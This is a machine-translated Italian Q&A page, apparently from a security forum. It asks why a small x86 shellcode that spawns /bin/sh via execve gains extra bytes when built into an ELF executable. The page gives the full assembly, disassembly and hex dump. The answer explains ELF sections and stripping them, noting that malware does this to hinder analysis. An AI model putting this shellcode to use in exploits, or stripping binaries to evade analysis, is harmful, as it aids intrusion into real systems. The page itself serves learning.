Intestazione / piè di pagina grande di byte shellcode quando si passa da x86 asm a exe?

1

Ho codificato una semplice shell bash in x86 e l'ho compilata via nasm e ld in un exe. Quando faccio questo posso vedere i 31 byte di istruzioni che ho effettivamente fatto, ma ci sono 100 di byte prima e dopo il mio codice che vengono aggiunti all'eseguibile. Sembra che siano stati aggiunti alcuni header ELF e footer di grandi dimensioni. Per cosa sono usati? Inoltre, c'è un modo per compilare senza questi byte che finiscono nell'exe finale? In definitiva, questo codice shell è destinato all'esecuzione arbitraria di codice di una shell bash.

$ cat shell.asm 
section .text

global _start

_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

mov al, 11 
jmp short string_loc
string_loc_ret:
pop ebx
mov [ebx+7],cl
int 0x80

string_loc:
call string_loc_ret
db '/bin/shN'

$  nasm -f elf shell.asm
$  ld -m elf_i386 -o shell_ shell.o

$  objdump -d shell_

shell_:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   31 c0                   xor    %eax,%eax
 8048062:   31 db                   xor    %ebx,%ebx
 8048064:   31 c9                   xor    %ecx,%ecx
 8048066:   31 d2                   xor    %edx,%edx
 8048068:   b0 0b                   mov    $0xb,%al
 804806a:   eb 06                   jmp    8048072 <string_loc>

0804806c <string_loc_ret>:
 804806c:   5b                      pop    %ebx
 804806d:   88 4b 07                mov    %cl,0x7(%ebx)
 8048070:   cd 80                   int    $0x80

08048072 <string_loc>:
 8048072:   e8 f5 ff ff ff          call   804806c <string_loc_ret>
 8048077:   2f                      das    
 8048078:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804807b:   2f                      das    
 804807c:   73 68                   jae    80480e6 <string_loc+0x74>
 804807e:   4e                      dec    %esi

Ma dopo averlo compilato è ciò che l'exe alla fine ha. Puoi vedere il mio assembly dai byte 96 al 126:

$  xxd shell_
00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 0300 0100 0000 6080 0408 3400 0000  ........'...4...
00000020: 7001 0000 0000 0000 3400 2000 0100 2800  p.......4. ...(.
00000030: 0500 0400 0100 0000 0000 0000 0080 0408  ................
00000040: 0080 0408 7f00 0000 7f00 0000 0500 0000  ................
00000050: 0010 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 31c0 31db 31c9 31d2 b00b eb06 5b88 4b07  1.1.1.1.....[.K.
00000070: cd80 e8f5 ffff ff2f 6269 6e2f 7368 4e00  ......./bin/shN.
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 6080 0408 0000 0000 0300 0100  ....'...........
000000a0: 0100 0000 0000 0000 0000 0000 0400 f1ff  ................
000000b0: 0b00 0000 6c80 0408 0000 0000 0000 0100  ....l...........
000000c0: 1a00 0000 7280 0408 0000 0000 0000 0100  ....r...........
000000d0: 2a00 0000 6080 0408 0000 0000 1000 0100  *...'...........
000000e0: 2500 0000 7f90 0408 0000 0000 1000 0100  %...............
000000f0: 3100 0000 7f90 0408 0000 0000 1000 0100  1...............
00000100: 3800 0000 8090 0408 0000 0000 1000 0100  8...............
00000110: 0073 6865 6c6c 2e61 736d 0073 7472 696e  .shell.asm.strin
00000120: 675f 6c6f 635f 7265 7400 7374 7269 6e67  g_loc_ret.string
00000130: 5f6c 6f63 005f 5f62 7373 5f73 7461 7274  _loc.__bss_start
00000140: 005f 6564 6174 6100 5f65 6e64 0000 2e73  ._edata._end...s
00000150: 796d 7461 6200 2e73 7472 7461 6200 2e73  ymtab..strtab..s
00000160: 6873 7472 7461 6200 2e74 6578 7400 0000  hstrtab..text...
00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000190: 0000 0000 0000 0000 1b00 0000 0100 0000  ................
000001a0: 0600 0000 6080 0408 6000 0000 1f00 0000  ....'...'.......
000001b0: 0000 0000 0000 0000 1000 0000 0000 0000  ................
000001c0: 0100 0000 0200 0000 0000 0000 0000 0000  ................
000001d0: 8000 0000 9000 0000 0300 0000 0500 0000  ................
000001e0: 0400 0000 1000 0000 0900 0000 0300 0000  ................
000001f0: 0000 0000 0000 0000 1001 0000 3d00 0000  ............=...
00000200: 0000 0000 0000 0000 0100 0000 0000 0000  ................
00000210: 1100 0000 0300 0000 0000 0000 0000 0000  ................
00000220: 4d01 0000 2100 0000 0000 0000 0000 0000  M...!...........
00000230: 0100 0000 0000 0000                      ........
    
posta Nitro 10.03.2017 - 16:15
fonte

1 risposta

0

I coded a simple bash shell in x86 and compiled it via nasm and ld into an exe

Questo programma non è stato compilato. Piuttosto, è stato assemblato da NASM, che ha generato il codice oggetto basato sul codice sorgente dell'assembly e quindi collegato da ld .

Sezioni

Quando il testo dell'origine dell'assieme viene trasformato in codice oggetto dall'assemblatore, un file oggetto contenente il codice oggetto viene creato anche dall'assemblatore. Questo file oggetto è conforme all'ABI di System V e contiene sezioni utilizzate dal linker per creare il file binario ELF eseguibile finale dal file oggetto.

In questo caso, sembra che NASM abbia creato un file oggetto con un'intestazione ELF e le seguenti sezioni ( readelf -SW <binary> stampa le informazioni sulla sezione sul binario):

  • la sezione .text , contenente le istruzioni eseguibili
  • la sezione .symbtab , contenente una tabella dei simboli
  • la sezione .shstrtab , contenente i nomi delle sezioni
  • la sezione .strtab , contenente stringhe come i nomi associati alle voci della tabella dei simboli

ld quindi ha utilizzato le informazioni in queste sezioni per creare il binario ELF eseguibile.

Rimozione della sezione dall'eseguibile

Una volta creato il binario ELF eseguibile finale, le informazioni sulla sezione e i simboli non sono più necessari (a meno che il programma non utilizzi le funzioni nelle librerie collegate dinamicamente). Sono necessari solo segmenti per il caricamento del programma in memoria ed eseguiti dal programma di caricamento nel kernel. Pertanto, le sezioni .symbtab , .strtab e .shstrtab possono essere rimosse dal file binario ELF eseguibile utilizzando l'utilità strip e l'opzione -R <section name> .

Le informazioni sulla sezione vengono comunemente rimosse dal malware ELF poiché impediscono che l'eseguibile venga smontato da objdump o analizzato da gdb , poiché queste utilità si basano sulle informazioni nella tabella delle intestazioni di sezione.

    
risposta data 10.03.2017 - 17:09
fonte

Leggi altre domande sui tag